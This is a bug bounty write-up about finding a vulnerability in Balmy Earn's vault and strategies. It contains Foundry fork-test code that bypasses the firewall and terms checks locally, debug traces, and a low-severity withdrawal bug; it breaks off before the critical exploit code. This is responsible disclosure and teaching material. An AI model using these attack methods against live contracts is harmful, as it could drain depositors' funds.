How I found a critical-severity vulnerability on Immunefi


In this inaugural blog post I will walk you through the steps that lead me to find a critical-severity vulnerability in Balmy that resulted in a $25,000 payout on Immunefi.

ContentsDirect link to this section

Opening remarksDirect link to this section

First off, I want to thank the Balmy team for chosing a publication policy in their bug bounty program that allows me to publish details about this vulnerability and thus making this blog post possible in the first place. I also commend the team’s quick and professional reaction to my bug bounty submission.

While I already reported this vulnerability in February, it took me until now to write this blog post. In the mean time the Balmy team announced [https://balmy.medium.com/sovereignt-bank-unwinding-balmy-24f2405062ff] that Balmy would be wound down until November. This means that the vulnerability described in this article is in a protocol that can now be considered obsolete. Nevertheless, I hope that the description of the process that lead to the discovery of the vulnerability will still be useful.

Introduction to Balmy EarnDirect link to this section

While Balmy mainly provides automated Dollar-cost averaging (DCA) between ERC-20 tokens, the vulnerability discussed in this blog post affects Balmy Earn, Balmy’s yield generation infrastructure that allows to earn yield on otherwise idle assets.

The most important components of Balmy Earn are the vault and the strategies. Users deposit assets into Balmy Earn by creating a position in the vault. When creating a position, the user selects a strategy, which determines where the assets are ultimately deposited. Examples for strategies include depositing USDC into AaveV3 and depositing Ether into Moonwell via Morpho.

Overview of my bug hunting processDirect link to this section

My bug hunting process consists of the following steps:

  1. Get the source code for the smart contracts in scope. Immunefi bug bounty programs usually reference the contract source code verified on Etherscan which can be fetched using Foundry’s forge clone [https://getfoundry.sh/forge/reference/clone]. However, forge clone can only fetch one contract at a time and multiple contracts have to be manually merged into one repository if test cases involving multiple contracts are planned. Ideally there’s a GitHub repository with the current contract source code, which makes this step much easier. However, when using the source code from GitHub, it has to be verified that the GitHub source code matches the source code on Etherscan.
  2. Understand what components exist in the protocol and how users interact with them. Usually that starts with reading the documentation (including the README in the GitHub repository), but to properly understand the protocol, reading the contract source code is necessary. The aim at this step is not to understand every part of the protocol in depth (that will come later), but to figure out what kind of vulnerabilities to look for and where. At this stage I mark any parts of the code that I find questionable or hard to understand to give them a thorough inspection later or to use them as an inspiration for attack ideas.
  3. Create fork tests to try out user-facing functions of the protocol. In this step I will also try out any attack ideas from the previous step and create test cases that involve code that I found hard to understand. To better understand the inner workings of the code, I replace the deployed contracts by custom versions with additional console.log debug output. If you’re curious about how this works, just keep on reading!
  4. Properly understand how each part of the protocol works. To achieve this, I match up the output from running the fork tests with maximum verbosity (-vvvvv) with the contract source code. Often that invalidates attack ideas but sometimes leads to the discovery of actual vulnerabilities.

The execution of these steps will usually not be completely linear. For example, after having understood one component of the protocol, my next step will probably be to write fork tests for another part of the protocol.

Setting up the repository for testingDirect link to this section

As mentioned in the overview, the source code for the relevant contracts can be fetched from Etherscan or the project provides up-to-date contract source code in their GitHub repositories. Luckily, the source code in the earn-core [https://github.com/Balmy-protocol/earn-core] and earn-periphery [https://github.com/Balmy-protocol/earn-periphery] repositories can be used for bug hunting and is already prepared for forge tests.

After cloning the repositories, I used bun install [https://bun.com/get] in the earn-periphery directory to install the dependencies. Balmy uses npm (Node.js’ package manager) to manage their dependencies. For the purpose of installing the dependencies of such projects I find it easier to use bun (which is intended to be compatible to Node.js) instead of maintaining an up-to-date version of Node.js on my system.

While the relevant contracts are spread over the earn-core and earn-periphery repositories, I will set up all tests in earn-periphery, because all relevant dependencies (including earn-core) are declared in earn-periphery, so my test contracts can import all of them.

First point of focus: Interaction between vault and strategiesDirect link to this section

Balmy users deposit assets in the vault and receive an NFT that represents their deposit (which is referred to as a position). This NFT can be used to withdraw the position and any accrued yield and rewards from the vault.

When depositing, the user specifies a strategy into which the assets are deposited by the vault. The strategy can be considered the adapter between the Balmy vault and the underlying yield-generating platform (e.g. AaveV3 or Morpho), where the assets are ultimately deposited.

Towards the vault, each strategy provides a generic interface for deposits and withdrawals and towards the underlying platform the strategy uses the platform-specific interface. See the earn-periphery README [https://github.com/Balmy-protocol/earn-periphery?tab=readme-ov-file#strategies] for a more detailed description of the Balmy strategies.

From reading the source code of EarnVault and the strategies, I took away three observations:

  1. There are two different methods for withdrawals:
    1. Regular withdrawal: Users withdraw the underlying asset and possible rewards.
    2. Special withdrawal: Users withdraw the deposit token of the underlying platform instead of the underlying asset. This is intended for cases where the underlying platform doesn’t allow immediate redemption of the deposit token, but a secondary market exists to sell the deposit token.
  2. The accounting of how many assets are owned by each user takes place in the EarnVault contract, but executing the withdrawal is delegated to the strategies. The strategies don’t have access to the accounting information and the EarnVault contract doesn’t know how much the strategies pay out, so there doesn’t seem to be anything that prevents a buggy strategy from paying out too much to a user.
  3. In an effort to maximize reusability of code, the strategy instances have huge inheritance trees and most functions have their logic spread throughout multiple layers of inheritance. As an example for this, let’s have a look at a part of the MorphoStrategy’s [https://github.com/Balmy-protocol/earn-periphery/blob/main/src/strategies/instances/morpho/MorphoStrategy.sol] inheritance tree:
contract MorphoStrategy is
  BaseStrategy,
  Clone,
  MorphoConnector,
  ExternalLiquidityMining,
  ExternalFees,
  ExternalGuardian,
  RegistryBasedCreationValidation
{
[...]
}

abstract contract BaseStrategy is
  IEarnBalmyStrategy,
  BaseLiquidityMining,
  BaseFees,
  BaseGuardian,
  BaseCreationValidation,
  BaseConnector
{
[...]
  /// @inheritdoc IEarnStrategy
  function withdraw(
    uint256 positionId,
    address[] calldata tokens,
    uint256[] calldata toWithdraw,
    address recipient
  )
    external
    onlyVault
  {
    return _liquidity_mining_withdraw(positionId, tokens, toWithdraw, recipient);
  }
[...]
}

Based on those observations, I came up with the following general attack ideas:

  1. Try to find a combination of regular and special withdrawals to withdraw more than the user is entitled to. My idea here was to do a special withdrawal to withdraw a deposit token that represents the underlying asset and the rewards and then withdraw the accrued rewards with a regular withdrawal, effectively getting the rewards twice.
  2. Try to find flaws in the EarnVault accounting logic or in the strategy withdrawal logic to withdraw assets or rewards that the user doesn’t own.
  3. While this not a direct attack idea, it is important to keep in mind that huge inheritance trees and deeply layered logic make it easy to overlook issues in manual reviews and also can lead to undetected holes in test coverage. This makes it easier to get into a mindset that there must be vulnerabilities in the code, increasing the motivation to find them.

Setting up a basic test contract for experimentingDirect link to this section

To understand the deposit and withdrawal logic, I first created a basic test contract to simulate a deposit and a withdrawal. Just to be able to create this contract, I was already forced to acquire a deeper understanding of several aspects of the vault and the strategies.

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {IEarnVault} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {StrategyId} from "@balmy/earn-core/types/StrategyId.sol";
import {INFTPermissions} from "@balmy/nft-permissions/interfaces/INFTPermissions.sol";

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256) external;
}

interface ITOSManager {
    function assignStrategyToGroup(StrategyId strategyId, bytes32 group) external;
}

contract NoopFirewall {
    function executeCheckpoint(address, bytes4, bytes32) external {}
}

contract Experimenting is Test {
    IEarnVault internal immutable earnVault = IEarnVault(0x0990a4a641636D437Af9aa214a1A580377eF1954);
    IWETH internal immutable weth = IWETH(0x4200000000000000000000000000000000000006);
    ITOSManager internal immutable tosManager = ITOSManager(0xED8e2E9499344110e18F0c77538BfB8C426Cd433);
    // MorphoStrategy (mwETH) at 0x2810dD0FF090d25Ba546C921F0c4f33C176E5442 is strategy 11
    StrategyId internal immutable strategyId = StrategyId.wrap(11);

    function setUp() public {
        // Replace the FORTA firewall of the FirewalledEarnVault with a "no-op" firewall to avoid having to get attestations for testing.
        NoopFirewall noopFirewall = new NoopFirewall();
        vm.store(
            address(earnVault),
            0x056e02eadf378bb204991810c69f5fd30d0c5daa999b3432711954755cff9a00,
            bytes32(uint256(uint160(address(noopFirewall))))
        );

        // Disable TOS checking to avoid having to attach the signed TOS when creating the position.
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        tosManager.assignStrategyToGroup(strategyId, bytes32(0));
    }

    function test_withdraw() public {
        INFTPermissions.PermissionSet[] memory permissions = new INFTPermissions.PermissionSet[](0);
        bytes[] memory strategyValidationDataArray = new bytes[](2);
        // To be validated by TOSManager (0xed8e2e9499344110e18f0c77538bfb8c426cd433)
        strategyValidationDataArray[0] = "";
        // To be validated by SignatureBasedWhitelistManager (0xe1bf5a5446b5cced4d7d10ad26533d0a1af8932a)
        strategyValidationDataArray[1] = "";

        // Create a position in the mwETH MorphoStrategy.
        weth.deposit{value: 10000}();
        weth.approve(address(earnVault), 10000);
        (uint256 positionId, ) = earnVault.createPosition(
            strategyId,
            address(weth),
            10000,
            address(this),
            permissions,
            abi.encode(strategyValidationDataArray),
            ""
        );

        // Check the user's balance.
        (address[] memory tokens, uint256[] memory balances,,) = earnVault.position(positionId);

        // Withdraw the user's full position.
        earnVault.withdraw(
            positionId,
            tokens,
            balances,
            address(this)
        );

        // Check the user's balance.
        earnVault.position(positionId);
    }
}

After putting this contract into the test directory in earn-periphery, the test can be executed with the following command (of course you have to replace the fork URL with your own Base RPC node URL):

$ forge test --match-path test/ExperimentingV1.t.sol --match-test test_withdraw -vvvvv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385

Adding console.log debugging outputDirect link to this section

The basic test contract already allows some insight into the control flow for deposits and withdrawals. However, for a deeper understanding of internal calls, especially the accounting logic in EarnVault and the layered logic in the strategies, adding console.log [https://getfoundry.sh/reference/forge-std/console-log.html] calls to the relevant contracts can be very helpful.

As an example, this is the _loadCurrentState function from EarnVault.sol with added debug output:

import {console2} from "forge-std/console2.sol";
[...]

  function _loadCurrentState(
    uint256 positionId,
    StrategyId strategyId,
    IEarnStrategy strategy,
    uint256 positionShares
  )
    internal
    view
    returns (
      uint256 positionAssetBalance,
      CalculatedDataForToken[] memory calculatedData,
      uint256 totalShares,
      address[] memory tokens,
      uint256[] memory totalBalances
    )
  {
    console2.log("_loadCurrentState start");
    console2.log("positionShares", positionShares);
    totalShares = _totalSharesInStrategy[strategyId];
    console2.log("totalShares", totalShares);
    (positionAssetBalance, calculatedData, tokens, totalBalances) = _calculateAllData({
      positionId: positionId,
      strategyId: strategyId,
      strategy: strategy,
      totalShares: totalShares,
      positionShares: positionShares
    });
    console2.log("positionAssetBalance", positionAssetBalance);
    for (uint256 i; i < tokens.length; i++) {
        console2.log("tokens", i, tokens[i]);
        console2.log("totalBalances", i, totalBalances[i]);
    }
    console2.log("_loadCurrentState end");
  }

In order to benefit from the added debug output, the deployed contract bytecode has to be overwritten in the fork test.

In order to do that, EarnVault and other contracts that are needed to deploy EarnVault have to be imported into the test contract source file:

import {EarnVault} from "@balmy/earn-core/vault/EarnVault.sol";
import {IEarnStrategyRegistry} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {IEarnNFTDescriptor} from "@balmy/earn-core/interfaces/IEarnNFTDescriptor.sol";

The EarnVault import references the file node_modules/@balmy/earn-core/src/vault/EarnVault.sol in the earn-periphery repository. However, the file with the added debug code is src/vault/EarnVault.sol in the earn-core repository. In order to import the modified file, it has to be copied (or linked) from the earn-core repository to the earn-periphery repository.

Then the following has to be added to the setUp function:

    // Deploy EarnVault with modified code and replace code at earnVault address with it.
    // Allows to add debugging code (also disables the firewall).
    address[] memory initialPauseAdmins = new address[](0);
    EarnVault earnVaultReplacement = new EarnVault(
      IEarnStrategyRegistry(0xC0571929c21B71Fc7579ec7159B1E88A2199Bc78),
      address(this),
      initialPauseAdmins,
      IEarnNFTDescriptor(0xA21Db13B32Fe2A82D89e32BEe9A099EF9E733879)
    );
    vm.etch(address(earnVault), address(earnVaultReplacement).code);

This will replace the deployed bytecode of EarnVault, which includes any immutable variables, but not the storage. Also because the vault deployed on-chain is actually an instance of FirewalledEarnVault which is overwritten here with an instance of EarnVault, the firewall is implicitly disabled by this replacement.

Now when executing the test, the calls to console.log are visible in the forge output which makes it much easier to understand the inner workings of the protocol.

Trying out special withdrawalsDirect link to this section

As already mentioned above, one of my first attack ideas was using a combination of the special and regular withdrawal functions to withdraw more tokens than I was entitled to.

In order to try that out, I first modified the experimentation contract to attempt a special withdrawal:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {IEarnVault} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {StrategyId} from "@balmy/earn-core/types/StrategyId.sol";
import {INFTPermissions} from "@balmy/nft-permissions/interfaces/INFTPermissions.sol";

import {EarnVault} from "@balmy/earn-core/vault/EarnVault.sol";
import {IEarnStrategyRegistry} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {IEarnNFTDescriptor} from "@balmy/earn-core/interfaces/IEarnNFTDescriptor.sol";

import {MorphoStrategy} from "src/strategies/instances/morpho/MorphoStrategy.sol";
import {SpecialWithdrawal} from "@balmy/earn-core/types/SpecialWithdrawals.sol";

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256) external;
}

interface ITOSManager {
    function assignStrategyToGroup(StrategyId strategyId, bytes32 group) external;
}

contract Experimenting is Test {
    IEarnVault internal immutable earnVault = IEarnVault(0x0990a4a641636D437Af9aa214a1A580377eF1954);
    IWETH internal immutable weth = IWETH(0x4200000000000000000000000000000000000006);
    ITOSManager internal immutable tosManager = ITOSManager(0xED8e2E9499344110e18F0c77538BfB8C426Cd433);
    // MorphoStrategy (mwETH) at 0x2810dD0FF090d25Ba546C921F0c4f33C176E5442 is strategy 11
    StrategyId internal immutable strategyId = StrategyId.wrap(11);

    function setUp() public {
        // Deploy EarnVault with modified code and replace code at earnVault address with it.
        // Allows to add debugging code (also disables the firewall).
        address[] memory initialPauseAdmins = new address[](0);
        EarnVault earnVaultReplacement = new EarnVault(
            IEarnStrategyRegistry(0xC0571929c21B71Fc7579ec7159B1E88A2199Bc78),
            address(this),
            initialPauseAdmins,
            IEarnNFTDescriptor(0xA21Db13B32Fe2A82D89e32BEe9A099EF9E733879)
        );
        vm.etch(address(earnVault), address(earnVaultReplacement).code);

        // Deploy MorphoStrategy with debugging modifications.
        MorphoStrategy morphoStrategyImplReplacement = new MorphoStrategy();
        vm.etch(address(0xfE02dbC93bABd8fD28c0eD6E66104Abf7b2a3B69), address(morphoStrategyImplReplacement).code);

        // Disable TOS checking to avoid having to attach the signed TOS when creating the position.
        vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
        tosManager.assignStrategyToGroup(strategyId, bytes32(0));
    }

    function test_withdraw() public {
        INFTPermissions.PermissionSet[] memory permissions = new INFTPermissions.PermissionSet[](0);
        bytes[] memory strategyValidationDataArray = new bytes[](2);
        // To be validated by TOSManager (0xed8e2e9499344110e18f0c77538bfb8c426cd433)
        strategyValidationDataArray[0] = "";
        // To be validated by SignatureBasedWhitelistManager (0xe1bf5a5446b5cced4d7d10ad26533d0a1af8932a)
        strategyValidationDataArray[1] = "";

        // Create a position in the mwETH MorphoStrategy.
        weth.deposit{value: 10000}();
        weth.approve(address(earnVault), 10000);
        (uint256 positionId, ) = earnVault.createPosition(
            strategyId,
            address(weth),
            10000,
            address(this),
            permissions,
            abi.encode(strategyValidationDataArray),
            ""
        );

        // Check the user's balance.
        (address[] memory tokens, uint256[] memory balances,,) = earnVault.position(positionId);

        // Try to withdraw the mwETH token from the MetaMorpho vault.
        uint256[] memory toWithdraw = new uint256[](1);
        toWithdraw[0] = 9848; // convertToShares(10000) on the MetaMorpho vault
        earnVault.specialWithdraw(
            positionId,
            SpecialWithdrawal.WITHDRAW_ASSET_FARM_TOKEN_BY_AMOUNT,
            toWithdraw,
            "",
            address(this)
        );
    }
}

Surprisingly, the special withdrawal fails with a panic: array out-of-bounds access revert somewhere in the MorphoStrategy.specialWithdraw function:

$ forge test --match-path test/ExperimentingV3.t.sol --match-test test_withdraw -vvvvv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385
[...]
    ├─ [353157] FirewalledEarnVault::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ [551] EarnStrategyRegistry::getStrategy(11) [staticcall]
    │   │   └─ ← [Return] MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]
[...]
    │   ├─ [204216] MorphoStrategy::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   │   ├─ [204000] MorphoStrategy::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [delegatecall]
    │   │   │   ├─ [440] GlobalEarnRegistry::getAddressOrFail(0x8e24cef3d118e2320bff2d4ac4e82fd5ff0dd3a6e6044ca19f91cd3b6f84750e) [staticcall]
    │   │   │   │   └─ ← [Return] FeeManager: [0x7304BfD9d8410f8c181C6E9646c8AF2691608708]
    │   │   │   ├─ [1670] FeeManager::getFees(11) [staticcall]
    │   │   │   │   └─ ← [Return] Fees({ depositFee: 0, withdrawFee: 0, performanceFee: 1000, rescueFee: 500 })
    │   │   │   ├─ [1061] MetaMorpho::balanceOf(MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]) [staticcall]
    │   │   │   │   └─ ← [Return] 715028049338581916 [7.15e17]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(715028049338581916 [7.15e17]) [staticcall]
[...]
    │   │   │   │   └─ ← [Return] 720118732868865934 [7.201e17]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(9848) [staticcall]
[...]
    │   │   │   │   └─ ← [Return] 9918
    │   │   │   ├─ [25708] MetaMorpho::transfer(Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 9848)
    │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 9848)
    │   │   │   │   ├─  storage changes:
    │   │   │   │   │   @ 0x28afb593f8104b11418d3da3e1096ecbb9d40f54eff7c1fd0d8ff264e0d5b453: 0x00000000000000000000000000000000000000000000000009ec4a38f544439c → 0x00000000000000000000000000000000000000000000000009ec4a38f5441d24
    │   │   │   │   │   @ 0x5ff10565516c110180bb9cc111cdbc2b0a68e09ff7fac17290373c3aa4a1bb03: 0 → 9848
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─  storage changes:
    │   │   │   │   @ 0x5ff10565516c110180bb9cc111cdbc2b0a68e09ff7fac17290373c3aa4a1bb03: 0 → 9848
    │   │   │   │   @ 0x3f674467df582d3de9c81a51d703d3b3f62f0ca41078e222c2b763fb3b660de8: 0x010000000000000000002275e033cef5000000000000000009fe602c14c0cf8d → 0x010000000000000000002275e033cef5000000000000000009fe602c14c0a8d0
    │   │   │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    │   │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    │   ├─  storage changes:
    │   │   @ 15: 1 → 2
    │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    └─ ← [Revert] panic: array out-of-bounds access (0x32)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 124.01ms (119.07ms CPU time)

Ran 1 test suite in 1.37s (124.01ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/ExperimentingV3.t.sol:Experimenting
[FAIL: panic: array out-of-bounds access (0x32)] test_withdraw() (gas: 1599383)

Encountered a total of 1 failing tests, 0 tests succeeded

Now, the next step is to figure out where the revert is coming from. Given the deep layering of the strategy contracts, my favorite tool console.log is especially useful here.

As an example, here’s the _fees_specialWithdraw function in earn-periphery/src/strategies/layers/fees/external/ExternalFees.sol with added debug output:

  function _fees_specialWithdraw(
    uint256 positionId,
    SpecialWithdrawalCode withdrawalCode,
    uint256[] calldata toWithdraw,
    bytes calldata withdrawData,
    address recipient
  )
    internal
    override
    returns (
      uint256[] memory balanceChanges,
      address[] memory actualWithdrawnTokens,
      uint256[] memory actualWithdrawnAmounts,
      bytes memory result
    )
  {
    console2.log("_fees_specialWithdraw start");
    Fees memory fees = _getFees();
    console2.log("fees.performanceFee", fees.performanceFee);
    if (fees.performanceFee == 0) {
      address[] memory allTokens = _fees_underlying_tokens();
      _clearAllBalancesIfSet(allTokens);
      return _fees_underlying_specialWithdraw(positionId, withdrawalCode, toWithdraw, withdrawData, recipient);
    }

    (address[] memory tokens, uint256[] memory currentBalances) = _fees_underlying_totalBalances();
    for (uint256 i; i < tokens.length; ++i) {
        console2.log("tokens", i, tokens[i], currentBalances[i]);
    }

    (balanceChanges, actualWithdrawnTokens, actualWithdrawnAmounts, result) =
      _fees_underlying_specialWithdraw(positionId, withdrawalCode, toWithdraw, withdrawData, recipient);
    for (uint256 i; i < balanceChanges.length; ++i) {
        console2.log("balanceChanges", i, balanceChanges[i]);
    }
    for (uint256 i; i < actualWithdrawnTokens.length; ++i) {
        console2.log("actualWithdrawn", i, actualWithdrawnTokens[i], actualWithdrawnAmounts[i]);
    }

    for (uint256 i; i < tokens.length; ++i) {
      address token = tokens[i];
      uint256 currentBalance = currentBalances[i];
      _storePerformanceData({
        token: token,
        // Note: there might be a small wei difference here, but we can ignore it an avoid adding it as part of the fee
        lastBalance: (currentBalance - balanceChanges[i]),
        performanceFees: _calculateFees(token, currentBalance, fees.performanceFee),
        isSet: true
      });
    }
  }

After adding the debug output, it becomes clearer where the revert is happening:

$ forge test --match-path test/ExperimentingV3.t.sol --match-test test_withdraw -vvvvv --fork-url http://127.0.0.1:8081 --fork-block-number 26674385
[...]
    │   ├─ [220832] MorphoStrategy::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   │   ├─ [220616] MorphoStrategy::specialWithdraw(376, 0, [9848], 0x, Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [delegatecall]
    │   │   │   ├─ [0] console::log("_fees_specialWithdraw start") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [440] GlobalEarnRegistry::getAddressOrFail(0x8e24cef3d118e2320bff2d4ac4e82fd5ff0dd3a6e6044ca19f91cd3b6f84750e) [staticcall]
    │   │   │   │   └─ ← [Return] FeeManager: [0x7304BfD9d8410f8c181C6E9646c8AF2691608708]
    │   │   │   ├─ [1670] FeeManager::getFees(11) [staticcall]
    │   │   │   │   └─ ← [Return] Fees({ depositFee: 0, withdrawFee: 0, performanceFee: 1000, rescueFee: 500 })
    │   │   │   ├─ [0] console::log("fees.performanceFee", 1000) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_guardian_totalBalances start") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("RescueStatus.OK") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_guardian_totalBalances end") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [1061] MetaMorpho::balanceOf(MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442]) [staticcall]
    │   │   │   │   └─ ← [Return] 715028049338581916 [7.15e17]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(715028049338581916 [7.15e17]) [staticcall]
[...]
    │   │   │   │   └─ ← [Return] 720118732868865934 [7.201e17]
    │   │   │   ├─ [0] console::log("_buildArraysWithRewards start") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log(0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, "amount", 387729803255505057 [3.877e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log(0xA88594D404727625A9437C3f886C7643872296AE, "amount", 21913828909492809962 [2.191e19]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_buildArraysWithRewards end") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("tokens", 0, WETH9: [0x4200000000000000000000000000000000000006], 720118732868865934 [7.201e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("tokens", 1, 0xBAa5CC21fd487B8Fcc2F632f3F4E8D37262a0842, 387729803255505057 [3.877e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("tokens", 2, 0xA88594D404727625A9437C3f886C7643872296AE, 21913828909492809962 [2.191e19]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [80296] MetaMorpho::previewRedeem(9848) [staticcall]
[...]
    │   │   │   │   └─ ← [Return] 9918
    │   │   │   ├─ [25708] MetaMorpho::transfer(Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 9848)
    │   │   │   │   ├─ emit Transfer(from: MorphoStrategy: [0x2810dD0FF090d25Ba546C921F0c4f33C176E5442], to: Experimenting: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 9848)
    │   │   │   │   ├─  storage changes:
    │   │   │   │   │   @ 0x5ff10565516c110180bb9cc111cdbc2b0a68e09ff7fac17290373c3aa4a1bb03: 0 → 9848
    │   │   │   │   │   @ 0x28afb593f8104b11418d3da3e1096ecbb9d40f54eff7c1fd0d8ff264e0d5b453: 0x00000000000000000000000000000000000000000000000009ec4a38f544439c → 0x00000000000000000000000000000000000000000000000009ec4a38f5441d24
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [0] console::log("balanceChanges", 0, 9918) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("actualWithdrawn", 0, MetaMorpho: [0xa0E430870c4604CcfC7B38Ca7845B1FF653D0ff1], 9848) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_calculateFees start, token", WETH9: [0x4200000000000000000000000000000000000006]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("currentBalance", 720118732868865934 [7.201e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("performanceFee", 1000) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("perfData.performanceFees", 37889668009717 [3.788e13]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("perfData.lastBalance", 720118732868865933 [7.201e17]) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("yield", 1) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("fee", 0) [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [0] console::log("_calculateFees end") [staticcall]
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─  storage changes:
    │   │   │   │   @ 0x3f674467df582d3de9c81a51d703d3b3f62f0ca41078e222c2b763fb3b660de8: 0x010000000000000000002275e033cef5000000000000000009fe602c14c0cf8d → 0x010000000000000000002275e033cef5000000000000000009fe602c14c0a8d0
    │   │   │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    │   │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    │   ├─  storage changes:
    │   │   @ 15: 1 → 2
    │   └─ ← [Revert] panic: array out-of-bounds access (0x32)
    └─ ← [Revert] panic: array out-of-bounds access (0x32)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 115.47ms (113.49ms CPU time)

Ran 1 test suite in 2.72s (115.47ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/ExperimentingV3.t.sol:Experimenting
[FAIL: panic: array out-of-bounds access (0x32)] test_withdraw() (gas: 1716391)

Encountered a total of 1 failing tests, 0 tests succeeded

The output before MetaMorpho::previewRedeem(9848) and just before the revert can be matched with the debug output added to the _fees_specialWithdraw function (and the _calculateFees and _buildArraysWithRewards functions, which I haven’t shown here).

Carefully examining the output reveals that the tokens array returned by _fees_underlying_totalBalances contains three entries, but the balanceChanges array returned by _fees_underlying_specialWithdraw only contains one entry. The loop at the end of the function that calls _storePerformanceData for each entry in the tokens array assumes that there is a balanceChanges entry for each entry in tokens.

This is actually a bug in the special withdrawal functionality of the MorphoStrategy contract that makes special withdrawals impossible if the strategy has more than one token and fees enabled. However, this turned out to only be a low-severity issue and the initial goal was to find a way to withdraw more assets than I’m entitled to, so work goes on.

The next step was to set the performance fee for the strategy to zero in order to avoid executing the buggy code. As you can see in the code listing above, there’s a special case in _fees_specialWithdraw that is executed when fees.performanceFee == 0.

Setting the fees to zero can be accomplished by adding the following code to the test contract source:

import {IFeeManager, Fees} from "src/interfaces/IFeeManager.sol";
[...]
  function setUp() {
    [...]
    // Set performance fee to zero.
    IFeeManager feeManager = IFeeManager(0x7304BfD9d8410f8c181C6E9646c8AF2691608708);
    Fees memory fees = feeManager.getFees(strategyId);
    fees.performanceFee = 0;
    vm.prank(0x0D946b7Fd00c9277c558710693076a592c2be27F);
    feeManager.updateFees(strategyId, fees);
    [...]
  }
[...]

Discovering the vulnerabilityDirect link to this section

As a first shot at my attempt to use a combination of a special withdrawal and a regular withdrawal to withdraw the rewards twice, I used the following test contract:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";

import {IEarnVault} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {StrategyId} from "@balmy/earn-core/types/StrategyId.sol";

import {EarnVault} from "@balmy/earn-core/vault/EarnVault.sol";
import {IEarnStrategyRegistry} from "@balmy/earn-core/interfaces/IEarnVault.sol";
import {IEarnNFTDescriptor} from "@balmy/earn-core/interfaces/IEarnNFTDescriptor.sol";

import {MorphoStrategy} from "src/strategies/instances/morpho/MorphoStrategy.sol";
